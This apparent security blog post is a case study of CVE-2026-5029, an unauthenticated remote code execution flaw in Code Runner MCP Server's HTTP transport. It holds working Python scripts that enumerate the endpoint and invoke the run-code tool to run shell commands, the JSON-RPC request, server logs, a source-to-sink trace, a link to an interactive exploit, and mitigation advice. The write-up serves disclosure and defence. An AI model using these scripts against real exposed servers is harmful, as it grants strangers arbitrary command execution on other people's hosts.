July 20, 2026
CVE-2026–5029 (Unpatched)Case Study Unauthenticated Remote Code Execution (RCE)
﷽

By phantom_hat
11 min read
﷽
Introduction
This Case Study focuses on CVE-2026–5029 With CVSS Score 8.7, a Remote Code Execution vulnerability discovered in Code Runner MCP Server, an open-source Model Context Protocol server that allows AI agents and LLM-integrated tools to execute arbitrary source code snippets across multiple language interpreters. The vulnerability carries the weakness class Missing Authentication for Critical Function (CWE-306), and it affects all versions of the project as of writing, this vulnerability remains unpatched.
The root cause lies in how the server exposes its JSON-RPC /mcp endpoint when launched with the --transport http flag. This mode binds the MCP interface to port 3088 with zero authentication, meaning any unauthenticated remote attacker who can reach the port can directly invoke MCP tools exposed by the server including the run-code tool, which accepts arbitrary source code and executes it via child_process.exec() using an attacker-controlled language interpreter.
Since Code Runner MCP Server is designed to be plugged into AI agent pipelines and LLM tool-calling workflows, this vulnerability effectively hands over remote arbitrary code execution with the privileges of the process user, to anyone capable of sending a single unauthenticated JSON-RPC request no login, no token, no prior interaction with the AI agent required.
This case study is made for educational Purposes focusing on how to RCE Vulnerabilities work and how to stay protected against this CVE. I will demonstrate the Target Overview, Discovery & Analysis of the MCP transport/tool architecture, the missing-authentication flaw at the protocol level, tracing input from the run-code tool call down to the child_process.exec() sink, Manual Exploitation via a crafted JSON-RPC request, and my responsible disclosure approach given that this issue remains unfixed at the time of publication.
NVD Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-5029
CERT.PL Advisory: https://cert.pl/en/posts/2026/05/CVE-2026-5029
Target Overview
Code Runner MCP Server (by formulahendry) is an open-source Model Context Protocol server, distributed via npm, Docker, and Smithery, that lets AI agents and MCP-compatible clients (VS Code, Claude Desktop, etc.) execute arbitrary code snippets across dozens of languages JavaScript, Python, PHP, Ruby, Go, Bash, PowerShell, and many more.
The server can run in two transport modes: the default stdio mode (local, invoked by the client process itself) and Streamable HTTP mode, started with:
mcp-server-code-runner --transport httpmcp-server-code-runner --transport httpIn HTTP mode the server exposes a JSON-RPC endpoint at /mcp on port 3088, turning what was a locally-invoked tool into a network-reachable service. It exposes the run-code MCP tool, which takes source code and a language identifier as input and runs it locally via child_process.exec() using the corresponding interpreter.
From a security perspective, this HTTP transport is the attack surface it ships with no authentication layer, so any client capable of reaching port 3088 can call run-code directly, without ever going through the AI agent or client it was designed for.
Discovery & Analysis
Since Code Runner MCP Server exposes its /mcp endpoint over Streamable HTTP transport, the first logical step in a blackbox assessment is to simply connect and enumerate no credentials, no handshake beyond the MCP protocol itself.
Using fastmcp's Client, a lightweight enumerator script was written to connect to the exposed endpoint and query the three standard MCP capability lists: Tools, Resources, and Prompts.
import asyncio
from fastmcp import Client
from rich.console import Console
from rich.panel import Panel
from rich.table import Table
console = Console()
URL = "http://127.0.0.1:3088/mcp"
async def safe_call(name, func):
try:
return await func()
except Exception as e:
console.print(
f"[yellow][-][/yellow] {name}: [red]{type(e).__name__}[/red] - {e}"
)
return []
async def main():
client = Client(URL)
async with client:
tools = await safe_call("Tools", client.list_tools)
resources = await safe_call("Resources", client.list_resources)
prompts = await safe_call("Prompts", client.list_prompts)
print(tools)
print(resources)
print(prompts)
if __name__ == "__main__":
asyncio.run(main())import asyncio
from fastmcp import Client
from rich.console import Console
from rich.panel import Panel
from rich.table import Table
console = Console()
URL = "http://127.0.0.1:3088/mcp"
async def safe_call(name, func):
try:
return await func()
except Exception as e:
console.print(
f"[yellow][-][/yellow] {name}: [red]{type(e).__name__}[/red] - {e}"
)
return []
async def main():
client = Client(URL)
async with client:
tools = await safe_call("Tools", client.list_tools)
resources = await safe_call("Resources", client.list_resources)
prompts = await safe_call("Prompts", client.list_prompts)
print(tools)
print(resources)
print(prompts)
if __name__ == "__main__":
asyncio.run(main())(full enumerator script omitted here for brevity see repository/gist for complete code)
Running this against a locally spun-up instance of the server (mcp-server-code-runner --transport http) confirms the endpoint is live and reachable with zero authentication:
python mcp-enum.py
╭───── MCP Enumerator ──────╮
│ Connected │
│ http://127.0.0.1:3088/mcp │
╰───────────────────────────╯
[-] Resources: McpError - Method not found
[-] Prompts: McpError - Method not found
Tools
┏━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ # ┃ Name ┃ Description ┃
┡━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1 │ run-code │ Run code snippet and return the result. │
└──────┴──────────┴─────────────────────────────────────────┘
No resources supported.
No prompts supported.python mcp-enum.py
╭───── MCP Enumerator ──────╮
│ Connected │
│ http://127.0.0.1:3088/mcp │
╰───────────────────────────╯
[-] Resources: McpError - Method not found
[-] Prompts: McpError - Method not found
Tools
┏━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ # ┃ Name ┃ Description ┃
┡━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1 │ run-code │ Run code snippet and return the result. │
└──────┴──────────┴─────────────────────────────────────────┘
No resources supported.
No prompts supported.The server does not implement resources/list or prompts/list, but it does expose exactly one tool: run-code. Its input schema is returned in full during enumeration, without any prior authorization step:
Tool(
name='run-code',
description='Run code snippet and return the result.',
inputSchema={
'type': 'object',
'properties': {
'code': {'type': 'string', 'description': 'Code Snippet'},
'languageId': {
'type': 'string',
'enum': ['javascript', 'php', 'python', 'perl', 'perl6', 'ruby',
'go', 'lua', 'groovy', 'powershell', 'bat', 'shellscript',
'fsharp', 'csharp', 'vbscript', 'typescript', 'coffeescript',
'scala', 'swift', 'julia', 'crystal', 'ocaml', 'r',
'applescript', 'clojure', 'racket', 'scheme', 'ahk',
'autoit', 'dart', 'haskell', 'nim', 'lisp', 'kit', 'v',
'sass', 'scss'],
'description': 'Language ID'
}
},
'required': ['code', 'languageId'],
'additionalProperties': False
}
)Tool(
name='run-code',
description='Run code snippet and return the result.',
inputSchema={
'type': 'object',
'properties': {
'code': {'type': 'string', 'description': 'Code Snippet'},
'languageId': {
'type': 'string',
'enum': ['javascript', 'php', 'python', 'perl', 'perl6', 'ruby',
'go', 'lua', 'groovy', 'powershell', 'bat', 'shellscript',
'fsharp', 'csharp', 'vbscript', 'typescript', 'coffeescript',
'scala', 'swift', 'julia', 'crystal', 'ocaml', 'r',
'applescript', 'clojure', 'racket', 'scheme', 'ahk',
'autoit', 'dart', 'haskell', 'nim', 'lisp', 'kit', 'v',
'sass', 'scss'],
'description': 'Language ID'
}
},
'required': ['code', 'languageId'],
'additionalProperties': False
}
)This single schema is enough to confirm the full attack surface:
- No authentication or session token is required to call
list_toolsor invokerun-code. - The tool accepts raw, attacker-controlled source code (
code) and a language selector (languageId) spanning 35+ languages. - Both parameters are fully attacker-controlled with no server-side sanitization visible from the schema the server trusts the caller to supply "code" and simply executes it.
At this stage, blackbox discovery confirms everything needed to proceed: an unauthenticated /mcp endpoint, a single exposed tool (run-code), and a schema that takes arbitrary code plus a language identifier a direct path toward Manual Exploitation via a crafted JSON-RPC tools/call request, covered next.
Manual Exploitation
With the run-code tool schema confirmed during Discovery & Analysis, the next step is straightforward: call it directly and see what comes back.
import asyncio
from fastmcp import Client
from rich.console import Console
from rich.panel import Panel
from rich.table import Table
console = Console()
URL = "http://127.0.0.1:3088/mcp"
async def main():
client = Client(URL)
async with client:
result = await client.call_tool("run-code", arguments={"code": "id", "languageId": "shellscript"})
print(result.content[0].text)
if __name__ == "__main__":
asyncio.run(main())import asyncio
from fastmcp import Client
from rich.console import Console
from rich.panel import Panel
from rich.table import Table
console = Console()
URL = "http://127.0.0.1:3088/mcp"
async def main():
client = Client(URL)
async with client:
result = await client.call_tool("run-code", arguments={"code": "id", "languageId": "shellscript"})
print(result.content[0].text)
if __name__ == "__main__":
asyncio.run(main())This script connects to the exposed /mcp endpoint and issues a tools/call JSON-RPC request for run-code, passing id as the code payload and shellscript as the languageId. Under the hood, the MCP client wraps this into a standard JSON-RPC 2.0 request:
{
method: 'tools/call',
params: {
name: 'run-code',
arguments: { code: 'id', languageId: 'shellscript' },
_meta: { progressToken: 1 }
},
jsonrpc: '2.0',
id: 1
}{
method: 'tools/call',
params: {
name: 'run-code',
arguments: { code: 'id', languageId: 'shellscript' },
_meta: { progressToken: 1 }
},
jsonrpc: '2.0',
id: 1
}On the server side, the languageId value maps to the shell interpreter, and the code value is handed straight to child_process.exec(). There's no sandboxing, no allowlist of safe commands, and no validation of what code actually contains it's treated as trusted input and executed as-is on the host.
Running the script returns the output of the id command, confirming the exact user context the MCP server process is running under proof of arbitrary command execution through a single tool call, using nothing more than the exposed endpoint and the tool schema discovered earlier.
From here, code can be swapped for anything the underlying interpreter supports reverse shells, file read/write, reconnaissance commands, or persistence payloads all executed with whatever privileges the mcp-server-code-runner process holds on the host machine. The languageId field also means the attack isn't tied to one interpreter; the same tool call works across python, powershell, bash, php, and 30+ others listed in the schema, giving the attacker flexibility depending on what's available in PATH on the target host. so if that specific language doesn't exist attacker can switch to different languages for example if there's no python installed the attacker can use powershell for code execution.
White-Box Analysis & Discovery Source to Sink
Blackbox testing confirmed that arbitrary command execution was possible. With access to the source (server.ts and constants.ts), we can now trace exactly why following the data from the moment it enters the MCP tool handler to the point it hits child_process.exec().
Source: the run-code tool handler
The vulnerability begins at the tool definition itself:
typescript
server.tool(
"run-code",
"Run code snippet and return the result.",
{
code: z.string().describe("Code Snippet"),
languageId: z.enum(Object.keys(languageIdToExecutorMap) as [keyof typeof languageIdToExecutorMap]).describe("Language ID"),
},
async ({ code, languageId }) => {server.tool(
"run-code",
"Run code snippet and return the result.",
{
code: z.string().describe("Code Snippet"),
languageId: z.enum(Object.keys(languageIdToExecutorMap) as [keyof typeof languageIdToExecutorMap]).describe("Language ID"),
},
async ({ code, languageId }) => {Both code and languageId are the untrusted, attacker-controlled parameters identified during blackbox schema enumeration. Zod is used here only for type/shape validation code must be a string, and languageId must be a key that exists in languageIdToExecutorMap. This is important: Zod enforces structure, not safety. There is no sanitization, no character filtering, no command-injection escaping applied to code at any point. It is validated as "a string" and nothing more.
Step 1 minimal guard checks
if (!code) {
throw new Error("Code is required.");
}
if (!languageId) {
throw new Error("Language ID is required.");
}
const executor = languageIdToExecutorMap[languageId as keyof typeof languageIdToExecutorMap];
if (!executor) {
throw new Error(`Language '${languageId}' is not supported.`);
}if (!code) {
throw new Error("Code is required.");
}
if (!languageId) {
throw new Error("Language ID is required.");
}
const executor = languageIdToExecutorMap[languageId as keyof typeof languageIdToExecutorMap];
if (!executor) {
throw new Error(`Language '${languageId}' is not supported.`);
}These checks only confirm presence and that languageId resolves to a known executor in the map. They do not inspect the contents of code in any way an attacker can put literally anything inside code, including shell metacharacters, and it passes every check here untouched.
Step 2 code is written to disk as-is
async function createTmpFile(content: string, languageId: string) {
const tmpDir = os.tmpdir();
const fileExtension = getFileExtension(languageId);
const fileName = `tmp.${fileExtension}`;
const filePath = path.join(tmpDir, fileName);
await fs.promises.writeFile(filePath, content);
return filePath;
}async function createTmpFile(content: string, languageId: string) {
const tmpDir = os.tmpdir();
const fileExtension = getFileExtension(languageId);
const fileName = `tmp.${fileExtension}`;
const filePath = path.join(tmpDir, fileName);
await fs.promises.writeFile(filePath, content);
return filePath;
}The attacker-supplied code string is written into a temp file (os.tmpdir()/tmp.<ext>) using fs.promises.writeFile. No content inspection, no encoding restrictions whatever the attacker sent as code becomes the literal contents of the file that's about to be executed.
Step 3 resolving the interpreter (constants.ts)
export const languageIdToExecutorMap = {
javascript: "node",
python: "python -u",
powershell: "powershell -ExecutionPolicy ByPass -File",
shellscript: "bash",
csharp: "scriptcs",
...
};export const languageIdToExecutorMap = {
javascript: "node",
python: "python -u",
powershell: "powershell -ExecutionPolicy ByPass -File",
shellscript: "bash",
csharp: "scriptcs",
...
};languageId is used as a key lookup into this static map to fetch the corresponding interpreter binary/flags (e.g. shellscript → bash). This lookup is safe on its own the attacker can only select from a fixed, developer-defined list of interpreters, not inject an arbitrary binary here. The real danger isn't which interpreter runs; it's what gets fed into it.
Note also that powershell -ExecutionPolicy ByPass -File explicitly bypasses PowerShell's script execution policy a deliberate convenience choice by the developer that removes one of Windows' native scripting safeguards.
Sink: string-concatenated exec()
This is where the vulnerability exist:
const filePath = await createTmpFile(code, languageId);
const command = `${executor} "${filePath}"`;
const result = await executeCommand(command);
async function executeCommand(command: string): Promise<string> {
return new Promise((resolve, reject) => {
exec(command, (error: any, stdout: string, stderr: string) => {
if (error) {
reject(`Error: ${error.message}`);
}
if (stderr) {
reject(`Stderr: ${stderr}`);
}
resolve(stdout);
});
});
}const filePath = await createTmpFile(code, languageId);
const command = `${executor} "${filePath}"`;
const result = await executeCommand(command);
async function executeCommand(command: string): Promise<string> {
return new Promise((resolve, reject) => {
exec(command, (error: any, stdout: string, stderr: string) => {
if (error) {
reject(`Error: ${error.message}`);
}
if (stderr) {
reject(`Stderr: ${stderr}`);
}
resolve(stdout);
});
});
}The final command string is built through plain template-literal concatenation ${executor} "${filePath}" and passed directly into Node's child_process.exec(), which spawns a full shell (/bin/sh -c on Linux, cmd.exe on Windows) and interprets the entire string, metacharacters included.
Two things make this a full sink, not a partial one:
exec()vsexecFile()the developer choseexec(), which goes through a shell interpreter, instead ofexecFile()/spawn()with an argument array, which would passfilePathas a literal argument with no shell parsing involved. This single API choice is what turns "run this file with this interpreter" into "run this file with this interpreter, through a shell that will happily parse any additional shell syntax."- The payload lives inside the file, not the command string since
filePathis a fixed, attacker-uncontrolled temp path (tmp.shellscript,tmp.python, etc.), the injection surface isn't thecommandstring itself; it's the contents of that file, which is 100% attacker-controlledcodefrom Step 2. Whenbash "tmp.shellscript"executes,bashinterprets every line oftmp.shellscriptmeaning the attacker doesn't need to break out of any quoting or escaping at all. They simply write native shell/Python/PowerShell code directly, and the interpreter runs it exactly as intended by the tool's own design.
Why this isn't "just RCE-by-design"
It's worth being precise here: the tool's entire purpose is to execute code that's not itself the flaw. The vulnerability, per CWE-306 (Missing Authentication for Critical Function), is that this code-execution capability is exposed over an unauthenticated network endpoint (/mcp on port 3088 in HTTP transport mode) with no session validation, no API key, no origin check nothing standing between an anonymous network client and this sink. In stdio mode, the same run-code tool is far less dangerous because only the local MCP client (e.g. the user's own VS Code/Claude Desktop session) can invoke it. HTTP transport removes that implicit trust boundary without replacing it with anything.
Full trace summary
StageCodeAttacker ControlValidation PresentTool inputcode, languageId paramsFullType-only (Zod)Guard checksif (!code) / if (!languageId) Presence onlyExecutor lookuplanguageIdToExecutorMap[languageId]Constrained to fixed listMap key existenceFile writefs.promises.writeFile(filePath, content)Full file contentsNoneCommand build${executor} "${filePath}"Indirect (via file contents)NoneSinkexec(command, ...)Full code executionNone shell interpretation
Every stage from the MCP tool boundary down to exec() was traced with no sanitization, no allowlisting of code content, and no authentication gating the entire path confirming both the root cause of CVE-2026-5029 and why the blackbox id / shellscript PoC executed cleanly with zero friction.
Logs of Code Runner MCP
Received MCP request: { method: 'tools/list', jsonrpc: '2.0', id: 2 }
Received MCP request: {
method: 'initialize',
params: {
protocolVersion: '2025-11-25',
capabilities: {},
clientInfo: { name: 'mcp', version: '0.1.0' }
},
jsonrpc: '2.0',
id: 0
}
Received MCP request: { method: 'notifications/initialized', jsonrpc: '2.0' }
Received MCP request: {
method: 'tools/call',
params: {
name: 'run-code',
arguments: { code: 'id', languageId: 'shellscript' },
_meta: { progressToken: 1 }
},
jsonrpc: '2.0',
id: 1
}
Temporary file created at: /tmp/tmp.shellscript
Executing command: bash "/tmp/tmp.shellscript"Received MCP request: { method: 'tools/list', jsonrpc: '2.0', id: 2 }
Received MCP request: {
method: 'initialize',
params: {
protocolVersion: '2025-11-25',
capabilities: {},
clientInfo: { name: 'mcp', version: '0.1.0' }
},
jsonrpc: '2.0',
id: 0
}
Received MCP request: { method: 'notifications/initialized', jsonrpc: '2.0' }
Received MCP request: {
method: 'tools/call',
params: {
name: 'run-code',
arguments: { code: 'id', languageId: 'shellscript' },
_meta: { progressToken: 1 }
},
jsonrpc: '2.0',
id: 1
}
Temporary file created at: /tmp/tmp.shellscript
Executing command: bash "/tmp/tmp.shellscript"The logs also confirmed that a temporary file created at temp directory. and the according to specific language ID it got executed according to it's interpreter.
Automated Exploitation
Features that automated exploit has:
- Language enumeration. It checks if that language is present on server or not.
- you can select language by language flag. if python then it will execute python code like python interpreter.
- show supported languages by MCP.
- Pretty print the Output.
- Spawns up an exploit prompt so that user can easily enter commands and got it output. Screenshot is uploaded below.
python exploit.py -u http://localhost:3088/mcp/ -l shellscriptpython exploit.py -u http://localhost:3088/mcp/ -l shellscriptHere's the Repository:
GitHub - 0x00phantom-hat/CVE-2026-5029-Exploit Contribute to 0x00phantom-hat/CVE-2026-5029-Exploit development by creating an account on GitHub.
Mitigation & Patch Recommendations
Since CVE-2026–5029 remains unpatched at the time of writing, the recommendations below are split into what operators can do today to reduce exposure, and what the maintainer should implement as a proper fix at the code level.
Immediate Mitigations (Operator-Side)
- Do not run
--transport httpon any network-reachable interface. The safest immediate fix is to stick with the defaultstdiotransport, which restricts tool invocation to the local MCP client process and removes the network attack surface entirely. - If HTTP transport is required, bind it strictly to
127.0.0.1/localhostand never0.0.0.0, and place it behind a reverse proxy or VPN that enforces authentication before any request reaches port 3088. - Firewall port 3088 at the host or network level so it is not reachable from untrusted networks, even accidentally.
- Run the server as a low-privilege, sandboxed user (or inside a locked-down container) so that even if
run-codeis abused, the blast radius is limited no access to sensitive files, no network pivot capability, no persistence paths. - Monitor for unexpected
run-codeinvocations and unusual child processes spawned by themcp-server-code-runnerprocess, since this tool's entire function is arbitrary code execution any unauthorized call is inherently high-signal.
Recommended Code-Level Fixes (Maintainer-Side)
1. Add authentication to the HTTP transport.
The root cause is CWE-306 the /mcp endpoint has zero authentication in HTTP mode. A minimal fix would require an API key or bearer token on every request, validated before any tools/call is processed:
// Example: simple bearer-token middleware before MCP routes
app.use((req, res, next) => {
const token = req.headers["authorization"];
if (token !== `Bearer ${process.env.MCP_API_KEY}`) {
return res.status(401).send("Unauthorized");
}
next();
});// Example: simple bearer-token middleware before MCP routes
app.use((req, res, next) => {
const token = req.headers["authorization"];
if (token !== `Bearer ${process.env.MCP_API_KEY}`) {
return res.status(401).send("Unauthorized");
}
next();
});2. Sandbox code execution at the OS level.
Even with authentication in place, run-code is inherently dangerous by design. Wrapping execution in a container, gVisor, Firecracker microVM, or nsjail/bubblewrap sandbox with no filesystem access beyond the temp directory and no outbound network access would contain the impact even if authentication is somehow bypassed or misconfigured.
Until an official patch is released, the safest posture remains simple: avoid --transport http in any environment reachable by untrusted clients, and treat run-code as equivalent to handing out unauthenticated shell access.
Summary
CVE-2026–5029 (CVSS 8.7, unpatched) is an unauthenticated RCE in Code Runner MCP Server. Running with --transport http exposes the /mcp endpoint on port 3088 with zero authentication, letting anyone invoke the run-code tool. The tool writes attacker-supplied code to a temp file and executes it via child_process.exec() (shell-based), with no sanitization anywhere in the path. Blackbox enumeration revealed the exposed tool and schema; a single unauthenticated call (code: "id", languageId: "shellscript") confirmed command execution. White-box source-to-sink tracing confirmed the root cause: CWE-306, missing auth on a critical execution function. Fix: never expose HTTP transport publicly, add auth to the endpoint, sandbox execution.